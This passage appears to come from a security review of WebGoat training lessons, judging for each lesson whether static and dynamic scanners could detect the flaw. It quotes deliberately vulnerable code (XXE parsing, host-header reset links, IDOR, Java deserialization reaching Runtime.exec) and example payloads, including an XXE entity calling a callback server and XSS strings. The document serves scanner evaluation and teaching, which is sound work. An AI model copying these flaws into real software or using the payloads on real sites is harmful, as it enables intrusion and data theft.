phase.\n\n---\n\n### (A2) Broken Authentication > Password reset > Security questions\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/3\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate the ability of guessing or brute forcing security questions. The users and security questions are hardcoded. The goal is to guess one of them.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L45-51\n\nstatic {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    ...\n}\n\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L63-68\n\nString validAnswer = COLORS.get(username.toLowerCase());\nif (validAnswer == null) {\n    return failed(this).feedback(\"password-questions-unknown-user\").feedbackArgs(username).build();\n} else if (validAnswer.equals(securityQuestion)) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?**\n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool would be unable to determine that this lesson has any relation to login logic as it's doing a simple existence check of inputs against a map value.\n\n**DAST Reasoning:**\n\nA DAST tool would need to be configured to treat this form as a login form for it to detect any potential discrepancy between a valid and invalid security question answer.\n\n---\n\n### (A2) Broken Authentication > Password reset > Creating the password reset link\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/5\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate incorrect usage of user supplied data (taken from the host header) in constructing a link. The goal is to abuse this to get a hypothetical user to click on a password reset link that points to the wrong host.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java#L60-74\n\nString resetLink = UUID.randomUUID().toString();\nResetLinkAssignment.resetLinks.add(resetLink);\nString host = request.getHeader(\"host\");\nif (hasText(email)) {\n    if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains(\"9090\")||host.contains(\"webwolf\"))) { //User indeed changed the host header.\n        ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n        fakeClickingLinkEmail(host, resetLink);\n    } else {\n        try {\n            sendMailToUser(email, host, resetLink);\n        } catch (Exception e) {\n            return failed(this).output(\"E-mail can't be send. please try again.\").build();\n        }\n    }\n}\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a hypothetical issue that most likely would not occur in the wild. There is no real way of a SAST tool to know that the extracted host header was incorrectly used in constructing a link.\n\n**DAST Reasoning:**\n\nA DAST tool would first need to be configured to treat this form as a login or password reset form. It would then also need to know that the conditions for getting a response required the host header to contain port 9090 or the string `webwolf`. This is a highly improbable set of conditions a DAST tool (or even a human without source) would need to know to have the flaw triggered. Additionally, this flaw requires a form of user interaction (although it's faked on line 66) which a DAST tool would not be able to do.\n\n---\n\u003C/details>\n\n## (A3) > Sensitive Data Exposure\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n---\n\n### (A3) > Sensitive Data Exposure > Insecure Login > Let's try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureLogin.lesson/1\n\n**Source:** \n- webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java\n\n**Lesson:**\n\nThis lesson is to demonstrate sending credentials over plain text communications. It does not contain any real flaws.\n\n```\nwebgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java#L35-37\n\nif (username.toString().equals(\"CaptainJack\") && password.toString().equals(\"BlackPearl\")) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe source is only doing a simple equality test between user input and two constant values. There is a chance, depending on the SAST tool, that it would flag the password equality check as a hardcoded password. \n\n**DAST Reasoning:**\n\nIf this page were configured as a login page and it were accessed over HTTP, there is a chance a DAST tool would report this as credentials being sent over a plain text transport.\n\n---\n\u003C/details>\n\n## (A4) XML External Entities (XXE)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A4) XML External Entities (XXE) > XXE > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\nClass: Injection\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path. The target XML parser `JAXB` will decode the `SYSTEM` entity and return the contents of the specified entity.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools should have signatures for common XML parsers like `JAXB` and determine if they do or do not disable entity and DTD resolution prior to processing user input.\n\n**DAST Reasoning:**\n\nMost DAST tools should be able to find this issue even though the attack request's response does not immediately contain the result. A DAST tool should be configured to handle callback related attacks and attempt to force the XML parser to use a URL instead of reading a system file. If the parser is vulnerable, and no egress filtering is in place, the parser will end up initiating a request to the specified URL.\n\n**Example Attack:**\n- `\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://callbackserver:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Modern REST framework\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/6\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path, much like `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3`. The only difference is the `/WebGoat/xxe/content-type` endpoint accepts both JSON and XML. This is more of a hypothetical situation due to unrealistic conditional statements used to only allow valid responses if they are met. The same underlying `parseXml` is called for both of these lessons.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java#L56-64\n\nif (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool will most likely disregard the conditional checks necessary to call the `comments.parseXml` on line 64 of `ContentTypeAssignment`. It should determine that the input string is parsed by an XML parser in `Comments.java` that did not disable entity or DTD resolution.\n\n**DAST Reasoning:**\n\nMost DAST tools will attempt to inject into parameter names and values, not transform the entire method from one to the other. The conditional checks in `ContentTypeAssignment` lines 56 and 61 are not realistic and would most likely block legitimate attack cases.\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Blind XXE assignment\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/10\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it post the contents of a file to a callback server. The same underlying `parseXml` is called for this lesson as well.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java#L56-64\n\n public AttackResult addComment(@RequestBody String commentStr) {\n        //Solution is posted as a separate comment\n        if (commentStr.contains(CONTENTS)) {\n            return success(this).build();\n        }\n\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return failed(this).output(e.toString()).build();\n        }\n        return failed(this).build();\n    }\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n**DAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n---\n\n\u003C/details>\n\n## (A5) Broken Access Control\n\n--- \n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A5) Broken Access Control > Insecure Direct Object References > Authenticate First, Abuse Authorization Later\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/1\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java\n\n**Lesson:**\n\nThis lesson is for assigning the current session to a user profile for subsequent lessons – it is not supposed to contain any vulnerabilities.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java#L59-74\n\npublic AttackResult completed(@RequestParam String username, @RequestParam String password) {\n        initIDORInfo();\n        UserSessionData userSessionData = getUserSessionData();\n\n        if (idorUserInfo.containsKey(username)) {\n            if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n                userSessionData.setValue(\"idor-authenticated-as\", username);\n                userSessionData.setValue(\"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n                return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n            } else {\n                return failed(this).feedback(\"idor.login.failure\").build();\n            }\n        } else {\n            return failed(this).feedback(\"idor.login.failure\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n**DAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Observing Differences & Behaviors\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/2\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java\n\n**Lesson:**\n\nThis lesson demonstrates hidden authorization properties and does not contain any real flaws.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java#L36-48\n\npublic AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length \u003C 2) {\n        return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\") && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n            || diffAttribs[1].toLowerCase().trim().equals(\"userid\") && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n        return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n        return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Guessing & Predicting Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/3\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing your own profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java#L42-62\n\npublic AttackResult completed(@RequestParam String url) {\n        try {\n            if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n                //going to use session auth to view this one\n                String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n                //don't care about http://localhost:8080 ... just want WebGoat/\n                String[] urlParts = url.split(\"/\");\n                if (urlParts[0].equals(\"WebGoat\") && urlParts[1].equals(\"IDOR\") && urlParts[2].equals(\"profile\") && urlParts[3].equals(authUserId)) {\n                    UserProfile userProfile = new UserProfile(authUserId);\n                    return success(this).feedback(\"idor.view.own.profile.success\").output(userProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n                }\n\n            } else {\n                return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n            }\n        } catch (Exception ex) {\n            return failed(this).feedback(\"an error occurred with your request\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values. Additionally, the DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. However, a DAST tool must already be configured to login to the `/WebGoat/` end point and most DAST tools don't support logging in multiple times to different endpoints for the same scan.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Playing with the Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/4\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing a mock users profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`. \n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java#L48-67\n\npublic AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map\u003CString, Object> details = new HashMap\u003C>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one\n            String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n            if (userId != null && !userId.equals(authUserId)) {\n                //on the right track\n                UserProfile requestedProfile = new UserProfile(userId);\n                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile\n                if (requestedProfile.getUserId().equals(\"2342388\")) {\n                    return success(this).feedback(\"idor.view.profile.success\").output(requestedProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.profile.close1\").build();\n                }\n            } else {\n                return failed(this).feedback(\"idor.view.profile.close2\").build();\n            }\n        }\n        return failed(this).build();\n\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java#L41-88\npublic AttackResult completed(@PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n        // let's get this started ...\n        currentUserProfile.setColor(userSubmittedProfile.getColor());\n        currentUserProfile.setRole(userSubmittedProfile.getRole());\n        // we will persist in the session object for now in case we want to refer back or use it later\n        userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n        if (currentUserProfile.getRole() \u003C= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n            return success(this)\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())\n                    .build();\n        }\n...\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSAST tools have difficulties determining authorization checks unless custom rule sets are configured.\n\n**DAST Reasoning:**\n\nIDOR-based attacks can be difficult for DAST tools to detect. The DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. After which it would somehow need to determine that the edit and view profile endpoint at `/WebGoat/IDOR/profile/{user}` should have the `{user}` field replaced with the userid of the same user, and then replaced as a different user to trigger the flaw. \n\n---\n\n\u003C/details>\n\n## (A7) Cross-Site Scripting (XSS)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! Reflected XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/6\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js \n\n**Lesson:**\n\nThis lesson demonstrates a self-reflected XSS vulnerability. The goal is to inject XSS into the `field1` parameter.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java#L56-79\n\ncart.append(\"Thank you for shopping at WebGoat. \u003Cbr />You're support is appreciated\u003Chr />\");\ncart.append(\"\u003Cp>We have charged credit card:\" + field1 + \"\u003Cbr />\");\ncart.append(\"                             ------------------- \u003Cbr />\");\ncart.append(\"                               $\" + totalSale);\n\n//init state\nif (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n    userSessionData.setValue(\"xss-reflected1-complete\", (Object) \"false\");\n}\n\nif (field1.toLowerCase().matches(\"\u003Cscript>.*(console\\\\.log\\\\(.*\\\\)|alert\\\\(.*\\\\))\u003C\\\\/script>\")) {\n    //return )\n    userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n    if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this).feedback(\"xss-reflected-5a-success-console\").output(cart.toString()).build();\n    } else {\n        return success(this).feedback(\"xss-reflected-5a-success-alert\").output(cart.toString()).build();\n    }\n} else {\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    return success(this)\n            .feedback(\"xss-reflected-5a-failure\")\n            .output(cart.toString())\n            .build();\n}\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L183-185\n\nrenderOutput: function (output) {\n    var s = this.removeSlashesFromJSON(output);\n    this.$curOutput.html(polyglot.t(s) || \"\");\n    ...\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `field1` parameter comes directly from user input and is output in the response on lines 70, 72 and 78. The user input is inserted into the cart `StringBuffer` on line 57. However the response for this endpoint is JSON and the reason this is exploitable is due to how the frontend renders the `output` JSON field in `LessonContentView.js`. A SAST tool would need to be able to scan JavaScript and possibly Java to detect this as a Cross-Site Scripting flaw.\n\n**DAST Reasoning:**\n\nThis is a straightforward XSS attack. A DAST tool would most likely attempt various XSS attack strings in each parameter value.\n\n**Example Attack:**\n- `/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=12345&field1=%3cimg%20src%3dx+onerror%3dalert(1)%3e`\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Identify potential for DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java\n\n**Lesson:**\n\nThis lesson does not contain any vulnerabilities. The goal is to simply identify that `start.mvc#test` is the hidden route.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java#L42-50\n\npublic AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n        //return )\n        return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n        return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/10\n\n**Source:** \n- webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js\n- webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n\n**Lesson:**\n\nThis lesson is a client side DOM-XSS vulnerability that exists in a different java project `webgoat-container`. The underlying vulnerability is in an insecure call to the `jQuery.html` method.\n\n```\nwebgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js#L46-117\n\nvar GoatAppRouter = Backbone.Router.extend({\n\n    routes: {\n        'welcome': 'welcomeRoute',\n        'lesson/:name': 'lessonRoute',\n        'lesson/:name/:pageNum': 'lessonPageRoute',\n        'test/:param': 'testRoute',\n        'reportCard': 'reportCard'\n    },\n...\ntestRoute: function (param) {\n            this.lessonController.testHandler(param);\n            //this.menuController.updateMenu(name);\n        },\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js#156-159\n\nthis.testHandler = function(param) {\n    console.log('test handler');\n    this.lessonContentView.showTestParam(param);\n};\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L220-222\n\nshowTestParam: function (param) {\n    this.$el.find('.lesson-content').html('test:' + param);\n},\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool that does intra-procedural taint tracking would need to have signatures for the Backbone javascript framework. It would need to follow taint down to the final vulnerability on line 221 of `LessonContentView.js`. A non-intra-procedural taint tracking SAST tool may simply look for any `html()` method calls and flag it as a potential sink for XSS.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely need to have some form of SAST-like capabilities to know that the target application not only uses Backbone, but is able to extract the routes from the `Backbone.router`. It could then potentially attack all URL Fragment based route links. Since the `#test/` route is technically never referenced anywhere, it is unlikely that a DAST tool would be able to find this vulnerable route.\n\nAlso, since this is a client-side vulnerability, the DAST tool must be instrumenting a real browser, otherwise it would be nearly impossible to trigger the flaw since it is dynamically rewriting the DOM.\n\n**Example Attack:**\n- `http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src=x%20onerror=alert(1)%3E`\n\n---\n\u003C/details>\n\n## (A8)  Insecure Deserialization\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8)  Insecure Deserialization > Insecure Deserialization > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureDeserialization.lesson/4\n\n**Source:** \n- webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\n- webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\n\n**Lesson:**\n\nThis lesson demonstrates how object deserialization attacks can be exploited to run arbitrary code. In particular this lesson deals with java deserialization attacks.\n\n```\nwebgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java#L54-56\n\ntry (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n    before = System.currentTimeMillis();\n    Object o = ois.readObject();\n...\n\nwebgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java#L38-59\n\nprivate void readObject( ObjectInputStream stream ) throws Exception {\n    //unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    //do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime!=null && \n            (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n        //do nothing is the time is not within 10 minutes after the object has been created\n        log.debug(this.toString());\n        throw new IllegalArgumentException(\"outdated\");\n    }\n\n    //condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n            && taskAction.length() \u003C 22) {\n    log.info(\"about to execute: {}\", taskAction);\n    try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify the `Object o = ois.readObject();` call on line 56 of `InsecureDeserializationTask.java` and flag as a potential Deserialization issue. SAST tools would most likely also flag the `Runetime.getRuntime().exec(taskAction)` call on line 59 as a potential for OS command injection.\n\n**DAST Reasoning:**\n\nDAST tools usually work off of intercepting requests and analyzing parameter values to determine what to inject. The `/WebGoat/InsecureDeserialization/task` endpoint is never triggered with a valid object, only a reference to what is expected exists in the HTML output. Due to this, there is no way for a DAST tool to know that this endpoint expects a serialized java object, and hence would not be able to attack it. \n\n---\n\n\u003C/details>\n\n## (A9) Vulnerable Components\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A9) Vulnerable Components > Vulnerable Components > The exploit is not always in \"your\" code\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/4\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable and non-vulnerable version of jquery-ui. The attack is built in to the source HTML form. \n\n```\nL45-57\n        \u003Ctd>\u003Cinput id=\"closetext\" value=\"OK\u003Cscript>alert('XSS')\u003C/script>\" type=\"TEXT\" />\u003Cinput\n            name=\"SUBMIT\" value=\"Go!\" type=\"SUBMIT\" onclick=\"webgoat.customjs.vuln_jquery_ui()\" />\u003C/td>\n        \u003Ctd>\u003C/td>\n    \u003C/tr>\n\u003C/table>\n\u003Cscript th:inline=\"javascript\">\n/*\u003C![CDATA[*/\nwebgoat.customjs.vuln_jquery_ui = function()\n{\n    webgoat.customjs.jqueryVuln('#dialog').dialog({ closeText: webgoat.customjs.jquery('#closetext').val() });\n};\n/*]]>*/\n    \u003C/script>\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the outdated version of jquery-ui.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely click the form submission and inject it's own XSS value to trigger the flaw.\n\n**Example Attack:**\n- `OK\u003Cscript>alert('XSS')\u003C/script>`\n\n---\n\n### (A9) Vulnerable Components > Vulnerable Components > Exploiting CVE-2013-7285 (XStream)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/11\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable version of `Xstream` that allows for XXE attacks.  \n\n```\nwebgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java#L37-68\n\nAttackResult completed(@RequestParam String payload) {\n        XStream xstream = new XStream(new DomDriver());\n        xstream.setClassLoader(Contact.class.getClassLoader());\n\n        xstream.processAnnotations(Contact.class);\n...\n\n        try {\n//        \tSystem.out.println(\"Payload:\" + payload);\n         